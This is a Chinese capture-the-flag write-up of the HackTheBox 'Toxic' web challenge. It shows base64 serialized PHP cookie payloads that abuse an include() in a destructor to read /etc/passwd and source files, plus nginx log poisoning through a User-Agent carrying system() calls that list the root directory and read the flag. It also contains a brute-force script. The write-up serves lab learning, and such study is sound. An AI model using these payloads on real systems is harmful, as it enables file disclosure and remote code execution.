解题步骤
-
浏览网页,主要包含六个按钮,点击后页面均无明显变化
Get a quote
和Become a supporter
点击后是本页面调整到顶部(http://159.65.18.5:30948/#)Twitter
、Facebook
、Instagram
、YouTube
点击后是跳转到新页面(http://159.65.18.5:30948/)
-
查看JavaScript代码,包含一个
scrollreveal
库文件和一个production
业务文件,查看production.js
,代码如下!function() { window; const e = document.documentElement; if (e.classList.remove("no-js"), e.classList.add("js"), document.body.classList.contains("has-animations")) { (window.sr = ScrollReveal()).reveal(".reveal-on-scroll", { duration: 600, distance: "20px", easing: "cubic-bezier(0.5, -0.01, 0, 1.005)", origin: "top", interval: 100 }) } }();
-
整体结构为
!funtion(){}();
,先!function(){};
定义匿名函数,之后立即在后面加上()
调用该函数,变成了!funtion(){}();
- 代码整体是一个匿名函数,无法通过函数名进行方法调用,一般在声明后就需要立刻调用,本段代码也是如此
- 匿名函数的一般格式有
- (function(){})();
- !function(){};
- ~function(){};
- -function(){};
- +function(){};
- 如果不按格式写而是写成function(){}()的话,会导致语法错误
-
document.documentElement
:获取当前根节点的文档对象
-
-
在window处打断点,刷新页面,进行单步调试
- e获取到<html>根节点
- 对<html>标签的class删掉了no-js、新增了js、判断body标签的类型中包含has-animations,如果全部满足就注册一个滚动出现的动效,应该没有入手点
-
使用dirsearch进行目录扫描
./dirsearch.py -u http://ip:port/ -E [22:21:27] 200 - 7KB - php [22:22:07] 200 - 7KB - adminphp [22:23:16] 200 - 7KB - index.php [22:23:30] 200 - 7KB - myadminphp [22:23:59] 301 - 162B - static -> http://159.65.18.5/static/
- 发现只要是在该ip:port/下的任何路径都会重定向到该页面,因此目录扫描应该没有效果
-
进行扫描
-
端口扫描,未找到其它端口
nmap -Pn [ip] -p 1-65525
-
服务扫描,探测到使用了nginx
nmap -Pn [IP] -p 30948 -sV --version-all Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-05 22:40 CST Nmap scan report for [IP] Host is up (0.29s latency). PORT STATE SERVICE VERSION 30948/tcp open http nginx Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 15.33 seconds
-
-
重新阅读题干,“当箭蛙遇到工业化时,就不会有恶意输入”。因此可能与输入值有关
-
查看Cookie,发现存在一条Cookie:PHPSESSID:Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxNToiL3d3dy9pbmRleC5odG1sIjt9
-
使用Hasher对Cookie进行解码,其中base64解码后得到O:9:”PageModel”:1:{s:4:”file”;s:15:”/www/index.html”;}。
- 可以看出,该对象是php对象序列化之后的字符串,因此可能后端通过这个对象来进行读取文件进行展示,如果修改文件路径应该可以实现路径遍历
- 使用EditThisCookie和Hasher组合使用,可实现Cookie的快速更改和快速编解码
-
对Cookie进行修改
-
尝试对目录访问,返回的response为空
O:9:"PageModel":1:{s:4:"file";s:5:"/www/";} Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czo1OiIvd3d3LyI7fQ==
-
尝试对文件访问,返回的response为空
O:9:"PageModel":1:{s:4:"file";s:4:"flag";} Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czo0OiJmbGFnIjt9
-
尝试改变对象类名,返回的response为空
O:4:"flag":1:{s:4:"file";s:4:"flag";} Tzo0OiJmbGFnIjoxOntzOjQ6ImZpbGUiO3M6OToiL3d3dy9mbGFnIjt9
-
-
检查response header,发现不用nmap扫描都可以直接获取服务的信息
HTTP/1.1 200 OK Server: nginx Date: Thu, 06 May 2021 01:35:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.15
-
继续尝试修改Cookie
-
尝试修改为图片资源,检测能否正常加载,发现正常返回大量乱码字符,应该是直接加载的图片资源传了过来,证明可以进行文件访问
O:9:"PageModel":1:{s:4:"file";s:32:"/www/static/images/dart-frog.jpg";} Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czozMjoiL3d3dy9zdGF0aWMvaW1hZ2VzL2RhcnQtZnJvZy5qcGciO30=
-
尝试访问images目录下有无flag,返回空
O:9:"PageModel":1:{s:4:"file";s:23:"/www/static/images/flag";} Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyMzoiL3d3dy9zdGF0aWMvaW1hZ2VzL2ZsYWciO30=
-
尝试访问js目录下有无flag,返回空
-
尝试访问www目录下有无flag
-
尝试访问/etc/passwd,返回了具体内容,可以看出/www是个根目录下的目录,而且存在ftp和mail服务
root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin man:x:13:15:man:/usr/man:/sbin/nologin postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin cyrus:x:85:12::/usr/cyrus:/sbin/nologin vpopmail:x:89:89::/var/vpopmail:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin www:x:1000:1000:1000:/home/www:/bin/sh nginx:x:100:101:nginx:/var/lib/nginx:/sbin/nologin
-
由于这种方法无法直接访问路径,所以效率比较低
-
-
尝试include、php伪协议访问路径
-
php://filter,返回200,内容为空
O:9:"PageModel":1:{s:4:"file";s:26:"php://filter/resource=flag";} Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNjoicGhwOi8vZmlsdGVyL3Jlc291cmNlPWZsYWciO30=
-
php://input,返回200,内容为空,应该是伪协议没有执行
O:9:"PageModel":1:{s:4:"file";s:11:"php://input";} O:9:"PageModel":1:{s:4:"file";s:11:"PhP://INPUT";}
-
file://[absolutePath],只能输入绝对路径,和直接传文件名没区别,能正常访问到文件内容,但目前的难点在于找不到flag文件位置
O:9:"PageModel":1:{s:4:"file";s:22:"file:///etc/passwd";}
-
data:text/plain,<? [code] ?>,内容为空,应该是data伪协议没有执行
O:9:"PageModel":1:{s:4:"file";s:35:"data:text/plain,<?php phpinfo(); ?>";}
-
-
重新尝试直接读取文件
-
读取nginx配置文件
user www; pid /run/nginx.pid; error_log /dev/stderr info; events { worker_connections 1024; } http { server_tokens off; log_format docker '$remote_addr $remote_user $status "$request" "$http_referer" "$http_user_agent" '; access_log /var/log/nginx/access.log docker; charset utf-8; keepalive_timeout 20s; sendfile on; tcp_nopush on; client_max_body_size 1M; include /etc/nginx/mime.types; server { listen 80; server_name _; index index.php; root /www; location / { try_files $uri $uri/ /index.php?$query_string; location ~ \.php$ { try_files $uri =404; fastcgi_pass unix:/run/php-fpm.sock; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } } } }
- try_files 实现了将不存在的路径重定向到index.php
-
-
重新尝试php://filter伪协议,尝试读取php文件并转为base64
-
读取index.php,顺利返回
O:9:"PageModel":1:{s:4:"file";s:58:"PHP://filter/read=convert.base64-encode/resource=index.php";}
-
解码
<?php spl_autoload_register(function ($name){ if (preg_match('/Model$/', $name)) { $name = "models/${name}"; } include_once "${name}.php"; }); if (empty($_COOKIE['PHPSESSID'])) { $page = new PageModel; $page->file = '/www/index.html'; setcookie( 'PHPSESSID', base64_encode(serialize($page)), time()+60*60*24, '/' ); } $cookie = base64_decode($_COOKIE['PHPSESSID']); unserialize($cookie);
-
读取models/PageModel.php
O:9:"PageModel":1:{s:4:"file";s:69:"PHP://filter/read=convert.base64-encode/resource=models/PageModel.php";}
-
解码
<?php class PageModel { public $file; public function __destruct() { include($this->file); } }
-
猜测其它方法获取不到的文件,可能通过php://filter/read=convert.base64-encode/resource获取到,然而并获取不到
O:9:"PageModel":1:{s:4:"file";s:58:"PHP://filter/read=convert.base64-encode/resource=/www/flag";} O:9:"PageModel":1:{s:4:"file";s:56:"PHP://filter/read=convert.base64-encode/resource=../flag";} O:9:"PageModel":1:{s:4:"file";s:53:"PHP://filter/read=convert.base64-encode/resource=flag";} O:9:"PageModel":1:{s:4:"file";s:51:"PHP://filter/read=convert.base64-encode/resource=./";} O:9:"PageModel":1:{s:4:"file";s:54:"PHP://filter/read=convert.base64-encode/resource=/flag";} O:9:"PageModel":1:{s:4:"file";s:57:"PHP://filter/read=convert.base64-encode/resource=flag.php";} O:9:"PageModel":1:{s:4:"file";s:60:"PHP://filter/read=convert.base64-encode/resource=models/flag";}
-
-
重新尝试data://伪协议,
-
尝试base64编码,没有结果
O:9:"PageModel":1:{s:4:"file";s:55:"data:text/plain;base64,bcfe173e092337ca0561065f4920d521";}
-
-
尝试php://filter与php://input组合
-
尝试
O:9:"PageModel":1:{s:4:"file";s:60:"PHP://filter/read=convert.base64-encode/resource=PHP://input";}
-
-
发现题目提供了源码,下载题目所给的必要文件,并验证文件完整性
## Windows certutil -hashfile [filename] sha256
- 计算结果为0e902d2706b5253271b92bd02825907165a653f8d051e454a021d048bcd7e297
- 官方结果为0e902d2706b5253271b92bd02825907165a653f8d051e454a021d048bcd7e297
- 文件完整性校验通过
-
使用密码解压压缩包
-
发现之前的的php代码也可以直接看,其中启动脚本为
#!/bin/ash # Secure entrypoint chmod 600 /entrypoint.sh # Generate random flag filename mv /flag /flag_`cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1` exec "$@"
- 更改sh文件权限,为owner可rw
- 将/flag重命名
- /dev/urandom是linux生成随机数的文件
- tr -dc [Set] 保留在范围内的字符
- fold -w [width] 将字符按指定长度进行截断分组
- head -n [lines] 输出前几行
- 因此最终文件名为flag_[五位的字母数字串],且文件位于根目录下
-
题目提供的文件中有nginx配置文件,其中有一段比较特别
-
默认nginx.conf
sendfile on; tcp_nopush on; tcp_nodelay on; keepalive_timeout 65; types_hash_max_size 2048;
-
题目给出的nginx.conf
charset utf-8; keepalive_timeout 20s; sendfile on; tcp_nopush on; client_max_body_size 1M;
-
也就是说题目中的nginx
-
-
编写脚本进行获取,但是这是暴力破解的方法,解空间为62^5=916132832,共九亿多种可能,期望也是四亿多,HackTheBox官方提供给每个人的容器也不是无限时长的,因此这种方法并不可取。
import time import base64 import requests import random def random_string(size): seed = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" sa = [] for i in range(size): sa.append(random.choice(seed)) salt = ''.join(sa) return salt def buildCookieValue(php_load): php_value_raw = 'PHP://filter/read=convert.base64-encode/resource=/flag_{}'.format(php_load) value_raw = 'O:9:"PageModel":1:{s:4:"file";s:' + str(len(php_value_raw)) + ':"' + php_value_raw+'";}' print("cookie_value_raw:{}".format(value_raw)) value_base64 = str(base64.b64encode(value_raw.encode("ascii")), "utf-8") print("cookie_key:{}".format(value_base64)) return value_base64 def buildCookie(key, value): return "{}={}".format(key, value) if __name__ == '__main__': size_input = int(input("请输入字母数字串的长度:")) flag_captured = False count = 0 while not flag_captured: count += 1 print('----------------------{}----------------------'.format(count)) url = "http://ip:port/" cookie_value = buildCookieValue(random_string(size_input)) cookie_key = "PHPSESSID" cookie = buildCookie(cookie_key, cookie_value) cookie_dict = {i.split("=")[0]: i.split("=")[-1] for i in cookie.split("; ")} res = requests.get(url, cookies=cookie_dict, timeout=None) print("resres.text:{}".format(res.text)) if len(res.text) > 0: flag_captured = True print("*************************success******************")
-
继续尝试php://input
-
php://input支持读取未经处理过的POST数据,但不支持Content-Type=”multipart/form-data”
-
Content-Type取值为application/x-www-form-urlencoded时,php会将http Body部分的数据经过URLDecode按照Content-Length的长度截断后放入$_POST数组
-
将题目的代码运行在本地PHP服务器上,发现可以返回php运行环境信息
POST / HTTP/1.1 Host: 10.128.214.161 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxMToicGhwOi8vaW5wdXQiO30 Content-Length: 20 Content-Type: application/x-www-form-urlencoded <?php phpinfo();
-
将同样的请求打到远端Toxic容器上,发现只返回Response头,没有返回有效信息
HTTP/1.1 200 OK Server: nginx Date: Mon, 10 May 2021 02:16:30 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive X-Powered-By: PHP/7.4.15 Content-Length: 0
-
测试函数是否被禁用
-
system,立即返回且响应体为空,说明system函数无法使用
POST / HTTP/1.1 Host: 138.68.182.108:30870 Cookie: PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxMToicGhwOi8vaW5wdXQiO30 Content-Length: 25 Content-Type: application/x-www-form-urlencoded <?php system('sleep 1h');
-
撇号,立即返回且响应体为空,说明撇号无法起作用
POST / HTTP/1.1 Host: 138.68.182.108:30870 Cookie: PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxMToicGhwOi8vaW5wdXQiO30 Content-Length: 22 Content-Type: application/x-www-form-urlencoded <?php echo `sleep 5s`;
撇号包裹的内容可以当作shell的命令执行
-
echo,立即返回且响应体为空,说明可能include的数据本身就无法返回,也可能是命令根本没有执行
POST / HTTP/1.1 Host: 138.68.182.108:30870 Cookie: PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoxMToicGhwOi8vaW5wdXQiO30 Content-Length: 22 Content-Type: application/x-www-form-urlencoded <?php echo 'sleep 5s';
-
-
尝试读取日志
-
第一次读取
-
Cookie参数
O:9:"PageModel":1:{s:4:"file";s:25:"/var/log/nginx/access.log";} Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNToiL3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZyI7fQ==
-
响应
138.68.182.108 - 200 "GET / HTTP/1.1" "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36"
-
-
由于将User-Agent写入了Log,那么尝试将攻击代码写入User-Agent
-
HTTP参数
GET / HTTP/1.1 Host: 138.68.182.108:30870 User-Agent: <?php phpinfo(); ?> Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNToiL3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZyI7fQ== Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0
-
响应体,顺利返回
-
进行目录遍历
GET / HTTP/1.1 Host: 206.189.121.131:31906 User-Agent: <?php system('ls -l /');?> Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNToiL3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZyI7fQ== Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0
-
响应体
drwxr-xr-x 2 root root 4096 Apr 14 10:25 bin drwxr-xr-x 5 root root 360 May 10 03:56 dev -rw------- 1 root root 179 Apr 30 15:46 entrypoint.sh drwxr-xr-x 1 root root 4096 May 10 03:56 etc -rw-r--r-- 1 root root 31 Apr 30 15:29 flag_JAAyt drwxr-xr-x 1 root root 4096 Apr 19 06:09 home drwxr-xr-x 1 root root 4096 Apr 14 10:25 lib drwxr-xr-x 5 root root 4096 Apr 14 10:25 media drwxr-xr-x 2 root root 4096 Apr 14 10:25 mnt drwxr-xr-x 2 root root 4096 Apr 14 10:25 opt dr-xr-xr-x 350 root root 0 May 10 03:56 proc drwx------ 2 root root 4096 Apr 14 10:25 root drwxr-xr-x 1 root root 4096 May 10 03:56 run drwxr-xr-x 2 root root 4096 Apr 14 10:25 sbin drwxr-xr-x 2 root root 4096 Apr 14 10:25 srv dr-xr-xr-x 13 root root 0 Feb 8 07:09 sys drwxrwxrwt 1 root root 4096 May 10 03:56 tmp drwxr-xr-x 1 root root 4096 Apr 30 15:46 usr drwxr-xr-x 1 root root 4096 Apr 30 15:46 var drwxr-xr-x 4 root root 4096 Apr 30 16:27 www
-
读取flag_JAAyt
GET / HTTP/1.1 Host: 206.189.121.131:31906 User-Agent: <?php system('cat /flag_JAAyt');?> Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: PHPSESSID=Tzo5OiJQYWdlTW9kZWwiOjE6e3M6NDoiZmlsZSI7czoyNToiL3Zhci9sb2cvbmdpbngvYWNjZXNzLmxvZyI7fQ== Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0
-
响应体
206.189.121.131 - 400 "GET / HTTP/1.1" "-" "-" 206.189.121.131 - 400 "GET / HTTP/1.1" "-" "-" 206.189.121.131 - 400 "GET / HTTP/1.1" "-" "-" 206.189.121.131 - 400 "GET / HTTP/1.1" "-" "-" 206.189.121.131 - 400 "GET / HTTP/1.1" "-" "-" 206.189.121.131 - 400 "GET / HTTP/1.1" "-" "-" 206.189.121.131 - 200 "GET / HTTP/1.1" "-" "HTB{P0i5on_1n_Cyb3r_W4rF4R3?!}
-
-
-
独立思考
1、为什么扫不出来端口?
- 因为HackTheBox网站一般通过Docker容器快速启动靶机实例,每台物理机上往往同时运行多个实例,即每个IP的各个端口上可能指向了不同的Docker容器,也就是说即使在HackTheBox平台上扫到了端口也也很难是同一个目标网站的端口。
- 每个Docker容器会将内部端口映射为外部端口,内部端口指的是web服务本身配置的端口,外部端口指该容器绑定到宿主机的端口,为了避免多个Docker容器之间抢占端口的情况一般外部端口会特别大,因此即便该Docker容器对外提供了多个端口,扫描出来的难度也比较大。
- 也有可能目标主机在防火墙中配置了对ICMP协议的过滤规则,禁用了回显请求。
产生过的疑问
- 为什么扫不出来端口?
- 如何保护本机不被端口扫描?
- /etc/passwd中的每一行代表了什么含义?
- 文件包含漏洞有哪几类?
- 本题中为什么php://input不起作用